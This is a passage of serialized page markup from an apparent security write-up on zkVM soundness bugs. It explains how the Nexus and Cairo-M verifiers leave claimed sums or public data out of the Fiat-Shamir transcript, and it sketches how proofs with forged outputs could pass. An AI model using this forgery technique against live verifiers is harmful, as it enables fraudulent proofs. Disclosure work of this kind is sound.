"className":51908},[247,32,2190],[51910],{"type":26,"tag":217,"props":51911,"children":51913},{"className":51912},[247,2190],[51914],{"type":32,"value":51915},"produced",{"type":26,"tag":217,"props":51917,"children":51919},{"className":51918},[2160],[51920],{"type":26,"tag":217,"props":51921,"children":51923},{"className":51922},[299,300],[51924,51955],{"type":26,"tag":217,"props":51925,"children":51927},{"className":51926},[305],[51928,51950],{"type":26,"tag":217,"props":51929,"children":51932},{"className":51930,"style":51931},[310],"height:0.2052em;",[51933],{"type":26,"tag":217,"props":51934,"children":51936},{"style":51935},"top:-2.2341em;margin-right:0.0714em;",[51937,51941],{"type":26,"tag":217,"props":51938,"children":51940},{"className":51939,"style":5107},[320],[],{"type":26,"tag":217,"props":51942,"children":51944},{"className":51943},[2187,5112,5113,2190],[51945],{"type":26,"tag":217,"props":51946,"children":51948},{"className":51947,"style":49138},[247,2152,2190],[51949],{"type":32,"value":49141},{"type":26,"tag":217,"props":51951,"children":51953},{"className":51952},[409],[51954],{"type":32,"value":412},{"type":26,"tag":217,"props":51956,"children":51958},{"className":51957},[305],[51959],{"type":26,"tag":217,"props":51960,"children":51963},{"className":51961,"style":51962},[310],"height:0.4048em;",[51964],{"type":26,"tag":217,"props":51965,"children":51966},{},[],{"type":26,"tag":217,"props":51968,"children":51969},{"style":361},[51970,51974],{"type":26,"tag":217,"props":51971,"children":51973},{"className":51972,"style":321},[320],[],{"type":26,"tag":217,"props":51975,"children":51977},{"className":51976,"style":371},[370],[],{"type":26,"tag":217,"props":51979,"children":51980},{"style":48501},[51981,51985],{"type":26,"tag":217,"props":51982,"children":51984},{"className":51983,"style":321},[320],[],{"type":26,"tag":217,"props":51986,"children":51988},{"className":51987},[2187,2188,2189,2190],[51989],{"type":26,"tag":217,"props":51990,"children":51992},{"className":51991},[247,2190],[51993],{"type":26,"tag":217,"props":51994,"children":51996},{"className":51995},[247,2190],[51997],{"type":32,"value":185},{"type":26,"tag":217,"props":51999,"children":52001},{"className":52000},[409],[52002],{"type":32,"value":412},{"type":26,"tag":217,"props":52004,"children":52006},{"className":52005},[305],[52007],{"type":26,"tag":217,"props":52008,"children":52011},{"className":52009,"style":52010},[310],"height:0.6283em;",[52012],{"type":26,"tag":217,"props":52013,"children":52014},{},[],{"type":26,"tag":217,"props":52016,"children":52018},{"className":52017},[428,289],[],{"type":26,"tag":217,"props":52020,"children":52022},{"className":52021,"style":336},[258],[],{"type":26,"tag":217,"props":52024,"children":52026},{"className":52025},[341],[52027],{"type":32,"value":3379},{"type":26,"tag":217,"props":52029,"children":52031},{"className":52030,"style":336},[258],[],{"type":26,"tag":217,"props":52033,"children":52035},{"className":52034},[236],[52036,52040,52097,52101],{"type":26,"tag":217,"props":52037,"children":52039},{"className":52038,"style":49349},[241],[],{"type":26,"tag":217,"props":52041,"children":52043},{"className":52042},[1842],[52044,52049],{"type":26,"tag":217,"props":52045,"children":52047},{"className":52046,"style":22482},[1842,4049,22481],[52048],{"type":32,"value":4053},{"type":26,"tag":217,"props":52050,"children":52052},{"className":52051},[2160],[52053],{"type":26,"tag":217,"props":52054,"children":52056},{"className":52055},[299,300],[52057,52086],{"type":26,"tag":217,"props":52058,"children":52060},{"className":52059},[305],[52061,52081],{"type":26,"tag":217,"props":52062,"children":52064},{"className":52063,"style":48586},[310],[52065],{"type":26,"tag":217,"props":52066,"children":52067},{"style":43746},[52068,52072],{"type":26,"tag":217,"props":52069,"children":52071},{"className":52070,"style":2182},[320],[],{"type":26,"tag":217,"props":52073,"children":52075},{"className":52074},[2187,2188,2189,2190],[52076],{"type":26,"tag":217,"props":52077,"children":52079},{"className":52078,"style":49390},[247,2152,2190],[52080],{"type":32,"value":49393},{"type":26,"tag":217,"props":52082,"children":52084},{"className":52083},[409],[52085],{"type":32,"value":412},{"type":26,"tag":217,"props":52087,"children":52089},{"className":52088},[305],[52090],{"type":26,"tag":217,"props":52091,"children":52093},{"className":52092,"style":49406},[310],[52094],{"type":26,"tag":217,"props":52095,"children":52096},{},[],{"type":26,"tag":217,"props":52098,"children":52100},{"className":52099,"style":1872},[258],[],{"type":26,"tag":217,"props":52102,"children":52104},{"className":52103},[247],[52105,52109,52259],{"type":26,"tag":217,"props":52106,"children":52108},{"className":52107},[288,289],[],{"type":26,"tag":217,"props":52110,"children":52112},{"className":52111},[294],[52113],{"type":26,"tag":217,"props":52114,"children":52116},{"className":52115},[299,300],[52117,52248],{"type":26,"tag":217,"props":52118,"children":52120},{"className":52119},[305],[52121,52243],{"type":26,"tag":217,"props":52122,"children":52124},{"className":52123,"style":48456},[310],[52125,52212,52223],{"type":26,"tag":217,"props":52126,"children":52127},{"style":5060},[52128,52132],{"type":26,"tag":217,"props":52129,"children":52131},{"className":52130,"style":321},[320],[],{"type":26,"tag":217,"props":52133,"children":52135},{"className":52134},[2187,2188,2189,2190],[52136],{"type":26,"tag":217,"props":52137,"children":52139},{"className":52138},[247,2190],[52140,52145,52150],{"type":26,"tag":217,"props":52141,"children":52143},{"className":52142,"style":21089},[247,2152,2190],[52144],{"type":32,"value":21092},{"type":26,"tag":217,"props":52146,"children":52148},{"className":52147},[341,2190],[52149],{"type":32,"value":3379},{"type":26,"tag":217,"props":52151,"children":52153},{"className":52152},[247,2190],[52154,52164],{"type":26,"tag":217,"props":52155,"children":52157},{"className":52156},[247,32,2190],[52158],{"type":26,"tag":217,"props":52159,"children":52161},{"className":52160},[247,2190],[52162],{"type":32,"value":52163},"consumed",{"type":26,"tag":217,"props":52165,"children":52167},{"className":52166},[2160],[52168],{"type":26,"tag":217,"props":52169,"children":52171},{"className":52170},[299,300],[52172,52201],{"type":26,"tag":217,"props":52173,"children":52175},{"className":52174},[305],[52176,52196],{"type":26,"tag":217,"props":52177,"children":52179},{"className":52178,"style":5098},[310],[52180],{"type":26,"tag":217,"props":52181,"children":52182},{"style":49496},[52183,52187],{"type":26,"tag":217,"props":52184,"children":52186},{"className":52185,"style":5107},[320],[],{"type":26,"tag":217,"props":52188,"children":52190},{"className":52189},[2187,5112,5113,2190],[52191],{"type":26,"tag":217,"props":52192,"children":52194},{"className":52193,"style":49390},[247,2152,2190],[52195],{"type":32,"value":49393},{"type":26,"tag":217,"props":52197,"children":52199},{"className":52198},[409],[52200],{"type":32,"value":412},{"type":26,"tag":217,"props":52202,"children":52204},{"className":52203},[305],[52205],{"type":26,"tag":217,"props":52206,"children":52208},{"className":52207,"style":49523},[310],[52209],{"type":26,"tag":217,"props":52210,"children":52211},{},[],{"type":26,"tag":217,"props":52213,"children":52214},{"style":361},[52215,52219],{"type":26,"tag":217,"props":52216,"children":52218},{"className":52217,"style":321},[320],[],{"type":26,"tag":217,"props":52220,"children":52222},{"className":52221,"style":371},[370],[],{"type":26,"tag":217,"props":52224,"children":52225},{"style":48501},[52226,52230],{"type":26,"tag":217,"props":52227,"children":52229},{"className":52228,"style":321},[320],[],{"type":26,"tag":217,"props":52231,"children":52233},{"className":52232},[2187,2188,2189,2190],[52234],{"type":26,"tag":217,"props":52235,"children":52237},{"className":52236},[247,2190],[52238],{"type":26,"tag":217,"props":52239,"children":52241},{"className":52240},[247,2190],[52242],{"type":32,"value":185},{"type":26,"tag":217,"props":52244,"children":52246},{"className":52245},[409],[52247],{"type":32,"value":412},{"type":26,"tag":217,"props":52249,"children":52251},{"className":52250},[305],[52252],{"type":26,"tag":217,"props":52253,"children":52255},{"className":52254,"style":49571},[310],[52256],{"type":26,"tag":217,"props":52257,"children":52258},{},[],{"type":26,"tag":217,"props":52260,"children":52262},{"className":52261},[428,289],[],{"type":26,"tag":39,"props":52264,"children":52265},{},[52266,52268,52273],{"type":32,"value":52267},"All ",{"type":26,"tag":83,"props":52269,"children":52271},{"className":52270},[],[52272],{"type":32,"value":49784},{"type":32,"value":52274}," values must sum to zero (everything produced is consumed).",{"type":26,"tag":39,"props":52276,"children":52277},{},[52278,52280,52285],{"type":32,"value":52279},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":26,"tag":9348,"props":52281,"children":52282},{},[52283],{"type":32,"value":52284},"OODS (Out-of-Domain Sampling)",{"type":32,"value":52286}," test.",{"type":26,"tag":39,"props":52288,"children":52289},{},[52290],{"type":26,"tag":9348,"props":52291,"children":52292},{},[52293],{"type":32,"value":50332},{"type":26,"tag":207,"props":52295,"children":52297},{"code":52296},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[52298],{"type":26,"tag":83,"props":52299,"children":52300},{"__ignoreMap":8},[52301],{"type":32,"value":52296},{"type":26,"tag":39,"props":52303,"children":52304},{},[52305,52307,52312],{"type":32,"value":52306},"The",{"type":26,"tag":83,"props":52308,"children":52310},{"className":52309},[],[52311],{"type":32,"value":49784},{"type":32,"value":52313}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":26,"tag":39,"props":52315,"children":52316},{},[52317],{"type":26,"tag":6468,"props":52318,"children":52321},{"alt":52319,"src":52320},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":26,"tag":39,"props":52323,"children":52324},{},[52325,52327,52336],{"type":32,"value":52326},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":26,"tag":9348,"props":52328,"children":52329},{},[52330,52331],{"type":32,"value":46794},{"type":26,"tag":83,"props":52332,"children":52334},{"className":52333},[],[52335],{"type":32,"value":49784},{"type":32,"value":1473},{"type":26,"tag":39,"props":52338,"children":52339},{},[52340],{"type":32,"value":52341},"The composition polynomial is a random linear combination of constraints:",{"type":26,"tag":39,"props":52343,"children":52344},{},[52345],{"type":26,"tag":83,"props":52346,"children":52348},{"className":52347},[213,4703],[52349],{"type":26,"tag":217,"props":52350,"children":52352},{"className":52351},[225],[52353],{"type":26,"tag":217,"props":52354,"children":52356},{"className":52355,"ariaHidden":231},[230],[52357,52398,52537],{"type":26,"tag":217,"props":52358,"children":52360},{"className":52359},[236],[52361,52365,52370,52375,52380,52385,52389,52394],{"type":26,"tag":217,"props":52362,"children":52364},{"className":52363,"style":5514},[241],[],{"type":26,"tag":217,"props":52366,"children":52368},{"className":52367,"style":20616},[247,2152],[52369],{"type":32,"value":51145},{"type":26,"tag":217,"props":52371,"children":52373},{"className":52372},[288],[52374],{"type":32,"value":1851},{"type":26,"tag":217,"props":52376,"children":52378},{"className":52377},[247,2152],[52379],{"type":32,"value":2542},{"type":26,"tag":217,"props":52381,"children":52383},{"className":52382},[428],[52384],{"type":32,"value":1889},{"type":26,"tag":217,"props":52386,"children":52388},{"className":52387,"style":259},[258],[],{"type":26,"tag":217,"props":52390,"children":52392},{"className":52391},[264],[52393],{"type":32,"value":267},{"type":26,"tag":217,"props":52395,"children":52397},{"className":52396,"style":259},[258],[],{"type":26,"tag":217,"props":52399,"children":52401},{"className":52400},[236],[52402,52406,52463,52467,52524,52528,52533],{"type":26,"tag":217,"props":52403,"children":52405},{"className":52404,"style":50549},[241],[],{"type":26,"tag":217,"props":52407,"children":52409},{"className":52408},[1842],[52410,52415],{"type":26,"tag":217,"props":52411,"children":52413},{"className":52412,"style":22482},[1842,4049,22481],[52414],{"type":32,"value":4053},{"type":26,"tag":217,"props":52416,"children":52418},{"className":52417},[2160],[52419],{"type":26,"tag":217,"props":52420,"children":52422},{"className":52421},[299,300],[52423,52452],{"type":26,"tag":217,"props":52424,"children":52426},{"className":52425},[305],[52427,52447],{"type":26,"tag":217,"props":52428,"children":52430},{"className":52429,"style":49122},[310],[52431],{"type":26,"tag":217,"props":52432,"children":52433},{"style":43746},[52434,52438],{"type":26,"tag":217,"props":52435,"children":52437},{"className":52436,"style":2182},[320],[],{"type":26,"tag":217,"props":52439,"children":52441},{"className":52440},[2187,2188,2189,2190],[52442],{"type":26,"tag":217,"props":52443,"children":52445},{"className":52444},[247,2152,2190],[52446],{"type":32,"value":2290},{"type":26,"tag":217,"props":52448,"children":52450},{"className":52449},[409],[52451],{"type":32,"value":412},{"type":26,"tag":217,"props":52453,"children":52455},{"className":52454},[305],[52456],{"type":26,"tag":217,"props":52457,"children":52459},{"className":52458,"style":49406},[310],[52460],{"type":26,"tag":217,"props":52461,"children":52462},{},[],{"type":26,"tag":217,"props":52464,"children":52466},{"className":52465,"style":1872},[258],[],{"type":26,"tag":217,"props":52468,"children":52470},{"className":52469},[247],[52471,52476],{"type":26,"tag":217,"props":52472,"children":52474},{"className":52473,"style":50006},[247,2152],[52475],{"type":32,"value":50009},{"type":26,"tag":217,"props":52477,"children":52479},{"className":52478},[2160],[52480],{"type":26,"tag":217,"props":52481,"children":52483},{"className":52482},[299,300],[52484,52513],{"type":26,"tag":217,"props":52485,"children":52487},{"className":52486},[305],[52488,52508],{"type":26,"tag":217,"props":52489,"children":52491},{"className":52490,"style":2271},[310],[52492],{"type":26,"tag":217,"props":52493,"children":52494},{"style":50639},[52495,52499],{"type":26,"tag":217,"props":52496,"children":52498},{"className":52497,"style":2182},[320],[],{"type":26,"tag":217,"props":52500,"children":52502},{"className":52501},[2187,2188,2189,2190],[52503],{"type":26,"tag":217,"props":52504,"children":52506},{"className":52505},[247,2152,2190],[52507],{"type":32,"value":2290},{"type":26,"tag":217,"props":52509,"children":52511},{"className":52510},[409],[52512],{"type":32,"value":412},{"type":26,"tag":217,"props":52514,"children":52516},{"className":52515},[305],[52517],{"type":26,"tag":217,"props":52518,"children":52520},{"className":52519,"style":2210},[310],[52521],{"type":26,"tag":217,"props":52522,"children":52523},{},[],{"type":26,"tag":217,"props":52525,"children":52527},{"className":52526,"style":336},[258],[],{"type":26,"tag":217,"props":52529,"children":52531},{"className":52530},[341],[52532],{"type":32,"value":344},{"type":26,"tag":217,"props":52534,"children":52536},{"className":52535,"style":336},[258],[],{"type":26,"tag":217,"props":52538,"children":52540},{"className":52539},[236],[52541,52545,52607,52612,52617],{"type":26,"tag":217,"props":52542,"children":52544},{"className":52543,"style":5514},[241],[],{"type":26,"tag":217,"props":52546,"children":52548},{"className":52547},[247],[52549,52559],{"type":26,"tag":217,"props":52550,"children":52552},{"className":52551},[247,32],[52553],{"type":26,"tag":217,"props":52554,"children":52556},{"className":52555},[247],[52557],{"type":32,"value":52558},"constraint",{"type":26,"tag":217,"props":52560,"children":52562},{"className":52561},[2160],[52563],{"type":26,"tag":217,"props":52564,"children":52566},{"className":52565},[299,300],[52567,52596],{"type":26,"tag":217,"props":52568,"children":52570},{"className":52569},[305],[52571,52591],{"type":26,"tag":217,"props":52572,"children":52574},{"className":52573,"style":2271},[310],[52575],{"type":26,"tag":217,"props":52576,"children":52577},{"style":49045},[52578,52582],{"type":26,"tag":217,"props":52579,"children":52581},{"className":52580,"style":2182},[320],[],{"type":26,"tag":217,"props":52583,"children":52585},{"className":52584},[2187,2188,2189,2190],[52586],{"type":26,"tag":217,"props":52587,"children":52589},{"className":52588},[247,2152,2190],[52590],{"type":32,"value":2290},{"type":26,"tag":217,"props":52592,"children":52594},{"className":52593},[409],[52595],{"type":32,"value":412},{"type":26,"tag":217,"props":52597,"children":52599},{"className":52598},[305],[52600],{"type":26,"tag":217,"props":52601,"children":52603},{"className":52602,"style":2210},[310],[52604],{"type":26,"tag":217,"props":52605,"children":52606},{},[],{"type":26,"tag":217,"props":52608,"children":52610},{"className":52609},[288],[52611],{"type":32,"value":1851},{"type":26,"tag":217,"props":52613,"children":52615},{"className":52614},[247,2152],[52616],{"type":32,"value":2542},{"type":26,"tag":217,"props":52618,"children":52620},{"className":52619},[428],[52621],{"type":32,"value":1889},{"type":26,"tag":39,"props":52623,"children":52624},{},[52625,52627,52632,52634,52639],{"type":32,"value":52626},"Since each constraint is linear in its ",{"type":26,"tag":83,"props":52628,"children":52630},{"className":52629},[],[52631],{"type":32,"value":49784},{"type":32,"value":52633},", the overall composition polynomial is linear in all ",{"type":26,"tag":83,"props":52635,"children":52637},{"className":52636},[],[52638],{"type":32,"value":49784},{"type":32,"value":52640}," values.",{"type":26,"tag":39,"props":52642,"children":52643},{},[52644,52646],{"type":32,"value":52645},"The verifier checks ",{"type":26,"tag":83,"props":52647,"children":52649},{"className":52648},[213,4703],[52650],{"type":26,"tag":217,"props":52651,"children":52653},{"className":52652},[225],[52654],{"type":26,"tag":217,"props":52655,"children":52657},{"className":52656,"ariaHidden":231},[230],[52658,52719],{"type":26,"tag":217,"props":52659,"children":52661},{"className":52660},[236],[52662,52666,52671,52676,52686,52691,52701,52706,52710,52715],{"type":26,"tag":217,"props":52663,"children":52665},{"className":52664,"style":49604},[241],[],{"type":26,"tag":217,"props":52667,"children":52669},{"className":52668,"style":20616},[247,2152],[52670],{"type":32,"value":51145},{"type":26,"tag":217,"props":52672,"children":52674},{"className":52673},[288],[52675],{"type":32,"value":1851},{"type":26,"tag":217,"props":52677,"children":52679},{"className":52678},[247,32],[52680],{"type":26,"tag":217,"props":52681,"children":52683},{"className":52682},[247],[52684],{"type":32,"value":52685},"oods",{"type":26,"tag":217,"props":52687,"children":52689},{"className":52688,"style":2753},[247],[52690],{"type":32,"value":49012},{"type":26,"tag":217,"props":52692,"children":52694},{"className":52693},[247,32],[52695],{"type":26,"tag":217,"props":52696,"children":52698},{"className":52697},[247],[52699],{"type":32,"value":52700},"point",{"type":26,"tag":217,"props":52702,"children":52704},{"className":52703},[428],[52705],{"type":32,"value":1889},{"type":26,"tag":217,"props":52707,"children":52709},{"className":52708,"style":259},[258],[],{"type":26,"tag":217,"props":52711,"children":52713},{"className":52712},[264],[52714],{"type":32,"value":267},{"type":26,"tag":217,"props":52716,"children":52718},{"className":52717,"style":259},[258],[],{"type":26,"tag":217,"props":52720,"children":52722},{"className":52721},[236],[52723,52727],{"type":26,"tag":217,"props":52724,"children":52726},{"className":52725,"style":1520},[241],[],{"type":26,"tag":217,"props":52728,"children":52730},{"className":52729},[247,32],[52731],{"type":26,"tag":217,"props":52732,"children":52734},{"className":52733},[247],[52735],{"type":32,"value":51469},{"type":26,"tag":39,"props":52737,"children":52738},{},[52739,52741,52746,52748,52753],{"type":32,"value":52740},"With ",{"type":26,"tag":83,"props":52742,"children":52744},{"className":52743},[],[52745],{"type":32,"value":49784},{"type":32,"value":52747}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":26,"tag":83,"props":52749,"children":52751},{"className":52750},[],[52752],{"type":32,"value":49784},{"type":32,"value":52754}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":26,"tag":39,"props":52756,"children":52757},{},[52758,52762,52764],{"type":26,"tag":9348,"props":52759,"children":52760},{},[52761],{"type":32,"value":51625},{"type":32,"value":52763}," Fixed on October 24, 2025 via ",{"type":26,"tag":163,"props":52765,"children":52768},{"href":52766,"rel":52767},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[167],[52769],{"type":32,"value":52770},"PR #503",{"type":26,"tag":11933,"props":52772,"children":52773},{},[],{"type":26,"tag":607,"props":52775,"children":52777},{"id":52776},"cairo-m-kakarot-labs",[52778],{"type":32,"value":52779},"Cairo-M (Kakarot Labs)",{"type":26,"tag":39,"props":52781,"children":52782},{},[52783],{"type":32,"value":52784},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":26,"tag":39,"props":52786,"children":52787},{},[52788],{"type":32,"value":52789},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":26,"tag":39,"props":52791,"children":52792},{},[52793],{"type":26,"tag":9348,"props":52794,"children":52795},{},[52796],{"type":32,"value":50332},{"type":26,"tag":207,"props":52798,"children":52800},{"code":52799},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[52801],{"type":26,"tag":83,"props":52802,"children":52803},{"__ignoreMap":8},[52804],{"type":32,"value":52799},{"type":26,"tag":39,"props":52806,"children":52807},{},[52808],{"type":26,"tag":9348,"props":52809,"children":52810},{},[52811],{"type":32,"value":50348},{"type":26,"tag":39,"props":52813,"children":52814},{},[52815],{"type":26,"tag":6468,"props":52816,"children":52819},{"alt":52817,"src":52818},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":26,"tag":39,"props":52821,"children":52822},{},[52823,52825,52831],{"type":32,"value":52824},"Lookup challenges are derived without ",{"type":26,"tag":83,"props":52826,"children":52828},{"className":52827},[],[52829],{"type":32,"value":52830},"public_data",{"type":32,"value":52832}," being  mixed into the transcript.",{"type":26,"tag":39,"props":52834,"children":52835},{},[52836,52837,52842,52844,52849],{"type":32,"value":475},{"type":26,"tag":83,"props":52838,"children":52840},{"className":52839},[],[52841],{"type":32,"value":52830},{"type":32,"value":52843}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":26,"tag":65,"props":52845,"children":52846},{},[52847],{"type":32,"value":52848},"denominators",{"type":32,"value":52850}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":26,"tag":39,"props":52852,"children":52853},{},[52854],{"type":26,"tag":83,"props":52855,"children":52857},{"className":52856},[213,4703],[52858],{"type":26,"tag":217,"props":52859,"children":52861},{"className":52860},[225],[52862],{"type":26,"tag":217,"props":52863,"children":52865},{"className":52864,"ariaHidden":231},[230],[52866,52926,52972,53018],{"type":26,"tag":217,"props":52867,"children":52869},{"className":52868},[236],[52870,52874,52879,52884,52894,52899,52908,52913,52917,52922],{"type":26,"tag":217,"props":52871,"children":52873},{"className":52872,"style":49604},[241],[],{"type":26,"tag":217,"props":52875,"children":52877},{"className":52876},[247,2152],[52878],{"type":32,"value":19726},{"type":26,"tag":217,"props":52880,"children":52882},{"className":52881},[288],[52883],{"type":32,"value":1851},{"type":26,"tag":217,"props":52885,"children":52887},{"className":52886},[247,32],[52888],{"type":26,"tag":217,"props":52889,"children":52891},{"className":52890},[247],[52892],{"type":32,"value":52893},"public",{"type":26,"tag":217,"props":52895,"children":52897},{"className":52896,"style":2753},[247],[52898],{"type":32,"value":49012},{"type":26,"tag":217,"props":52900,"children":52902},{"className":52901},[247,32],[52903],{"type":26,"tag":217,"props":52904,"children":52906},{"className":52905},[247],[52907],{"type":32,"value":33715},{"type":26,"tag":217,"props":52909,"children":52911},{"className":52910},[428],[52912],{"type":32,"value":1889},{"type":26,"tag":217,"props":52914,"children":52916},{"className":52915,"style":336},[258],[],{"type":26,"tag":217,"props":52918,"children":52920},{"className":52919},[341],[52921],{"type":32,"value":3540},{"type":26,"tag":217,"props":52923,"children":52925},{"className":52924,"style":336},[258],[],{"type":26,"tag":217,"props":52927,"children":52929},{"className":52928},[236],[52930,52934,52944,52949,52959,52963,52968],{"type":26,"tag":217,"props":52931,"children":52933},{"className":52932,"style":49604},[241],[],{"type":26,"tag":217,"props":52935,"children":52937},{"className":52936},[247,32],[52938],{"type":26,"tag":217,"props":52939,"children":52941},{"className":52940},[247],[52942],{"type":32,"value":52943},"(other transcript",{"type":26,"tag":217,"props":52945,"children":52947},{"className":52946,"style":2753},[247],[52948],{"type":32,"value":49012},{"type":26,"tag":217,"props":52950,"children":52952},{"className":52951},[247,32],[52953],{"type":26,"tag":217,"props":52954,"children":52956},{"className":52955},[247],[52957],{"type":32,"value":52958},"bound terms)",{"type":26,"tag":217,"props":52960,"children":52962},{"className":52961,"style":259},[258],[],{"type":26,"tag":217,"props":52964,"children":52966},{"className":52965},[264],[52967],{"type":32,"value":267},{"type":26,"tag":217,"props":52969,"children":52971},{"className":52970,"style":259},[258],[],{"type":26,"tag":217,"props":52973,"children":52975},{"className":52974},[236],[52976,52981,52986,52991,52996,53000,53005,53009,53014],{"type":26,"tag":217,"props":52977,"children":52980},{"className":52978,"style":52979},[241],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":52982,"children":52984},{"className":52983},[247],[52985],{"type":32,"value":1883},{"type":26,"tag":217,"props":52987,"children":52989},{"className":52988},[1865],[52990],{"type":32,"value":1868},{"type":26,"tag":217,"props":52992,"children":52995},{"className":52993,"style":52994},[258],"margin-right:2em;",[],{"type":26,"tag":217,"props":52997,"children":52999},{"className":52998,"style":1872},[258],[],{"type":26,"tag":217,"props":53001,"children":53003},{"className":53002},[247,2152],[53004],{"type":32,"value":19726},{"type":26,"tag":217,"props":53006,"children":53008},{"className":53007,"style":259},[258],[],{"type":26,"tag":217,"props":53010,"children":53012},{"className":53011},[264],[53013],{"type":32,"value":267},{"type":26,"tag":217,"props":53015,"children":53017},{"className":53016,"style":259},[258],[],{"type":26,"tag":217,"props":53019,"children":53021},{"className":53020},[236],[53022,53027,53084,53088,53306],{"type":26,"tag":217,"props":53023,"children":53026},{"className":53024,"style":53025},[241],"height:1.4071em;vertical-align:-0.562em;",[],{"type":26,"tag":217,"props":53028,"children":53030},{"className":53029},[1842],[53031,53036],{"type":26,"tag":217,"props":53032,"children":53034},{"className":53033,"style":22482},[1842,4049,22481],[53035],{"type":32,"value":4053},{"type":26,"tag":217,"props":53037,"children":53039},{"className":53038},[2160],[53040],{"type":26,"tag":217,"props":53041,"children":53043},{"className":53042},[299,300],[53044,53073],{"type":26,"tag":217,"props":53045,"children":53047},{"className":53046},[305],[53048,53068],{"type":26,"tag":217,"props":53049,"children":53051},{"className":53050,"style":49122},[310],[53052],{"type":26,"tag":217,"props":53053,"children":53054},{"style":43746},[53055,53059],{"type":26,"tag":217,"props":53056,"children":53058},{"className":53057,"style":2182},[320],[],{"type":26,"tag":217,"props":53060,"children":53062},{"className":53061},[2187,2188,2189,2190],[53063],{"type":26,"tag":217,"props":53064,"children":53066},{"className":53065},[247,2152,2190],[53067],{"type":32,"value":2290},{"type":26,"tag":217,"props":53069,"children":53071},{"className":53070},[409],[53072],{"type":32,"value":412},{"type":26,"tag":217,"props":53074,"children":53076},{"className":53075},[305],[53077],{"type":26,"tag":217,"props":53078,"children":53080},{"className":53079,"style":49406},[310],[53081],{"type":26,"tag":217,"props":53082,"children":53083},{},[],{"type":26,"tag":217,"props":53085,"children":53087},{"className":53086,"style":1872},[258],[],{"type":26,"tag":217,"props":53089,"children":53091},{"className":53090},[247],[53092,53096,53302],{"type":26,"tag":217,"props":53093,"children":53095},{"className":53094},[288,289],[],{"type":26,"tag":217,"props":53097,"children":53099},{"className":53098},[294],[53100],{"type":26,"tag":217,"props":53101,"children":53103},{"className":53102},[299,300],[53104,53290],{"type":26,"tag":217,"props":53105,"children":53107},{"className":53106},[305],[53108,53285],{"type":26,"tag":217,"props":53109,"children":53111},{"className":53110,"style":48456},[310],[53112,53254,53265],{"type":26,"tag":217,"props":53113,"children":53114},{"style":5060},[53115,53119],{"type":26,"tag":217,"props":53116,"children":53118},{"className":53117,"style":321},[320],[],{"type":26,"tag":217,"props":53120,"children":53122},{"className":53121},[2187,2188,2189,2190],[53123],{"type":26,"tag":217,"props":53124,"children":53126},{"className":53125},[247,2190],[53127,53132,53137,53143,53148,53153,53210,53215,53224,53229,53238,53244,53249],{"type":26,"tag":217,"props":53128,"children":53130},{"className":53129,"style":21089},[247,2152,2190],[53131],{"type":32,"value":21092},{"type":26,"tag":217,"props":53133,"children":53135},{"className":53134},[341,2190],[53136],{"type":32,"value":3540},{"type":26,"tag":217,"props":53138,"children":53140},{"className":53139},[288,2190],[53141],{"type":32,"value":53142},"⟨",{"type":26,"tag":217,"props":53144,"children":53146},{"className":53145,"style":50006},[247,2152,2190],[53147],{"type":32,"value":50009},{"type":26,"tag":217,"props":53149,"children":53151},{"className":53150},[1865,2190],[53152],{"type":32,"value":1868},{"type":26,"tag":217,"props":53154,"children":53156},{"className":53155},[247,2190],[53157,53162],{"type":26,"tag":217,"props":53158,"children":53160},{"className":53159},[247,2152,2190],[53161],{"type":32,"value":2935},{"type":26,"tag":217,"props":53163,"children":53165},{"className":53164},[2160],[53166],{"type":26,"tag":217,"props":53167,"children":53169},{"className":53168},[299,300],[53170,53199],{"type":26,"tag":217,"props":53171,"children":53173},{"className":53172},[305],[53174,53194],{"type":26,"tag":217,"props":53175,"children":53177},{"className":53176,"style":49241},[310],[53178],{"type":26,"tag":217,"props":53179,"children":53180},{"style":43788},[53181,53185],{"type":26,"tag":217,"props":53182,"children":53184},{"className":53183,"style":5107},[320],[],{"type":26,"tag":217,"props":53186,"children":53188},{"className":53187},[2187,5112,5113,2190],[53189],{"type":26,"tag":217,"props":53190,"children":53192},{"className":53191},[247,2152,2190],[53193],{"type":32,"value":2290},{"type":26,"tag":217,"props":53195,"children":53197},{"className":53196},[409],[53198],{"type":32,"value":412},{"type":26,"tag":217,"props":53200,"children":53202},{"className":53201},[305],[53203],{"type":26,"tag":217,"props":53204,"children":53206},{"className":53205,"style":5219},[310],[53207],{"type":26,"tag":217,"props":53208,"children":53209},{},[],{"type":26,"tag":217,"props":53211,"children":53213},{"className":53212},[288,2190],[53214],{"type":32,"value":1851},{"type":26,"tag":217,"props":53216,"children":53218},{"className":53217},[247,32,2190],[53219],{"type":26,"tag":217,"props":53220,"children":53222},{"className":53221},[247,2190],[53223],{"type":32,"value":52893},{"type":26,"tag":217,"props":53225,"children":53227},{"className":53226,"style":2753},[247,2190],[53228],{"type":32,"value":49012},{"type":26,"tag":217,"props":53230,"children":53232},{"className":53231},[247,32,2190],[53233],{"type":26,"tag":217,"props":53234,"children":53236},{"className":53235},[247,2190],[53237],{"type":32,"value":33715},{"type":26,"tag":217,"pr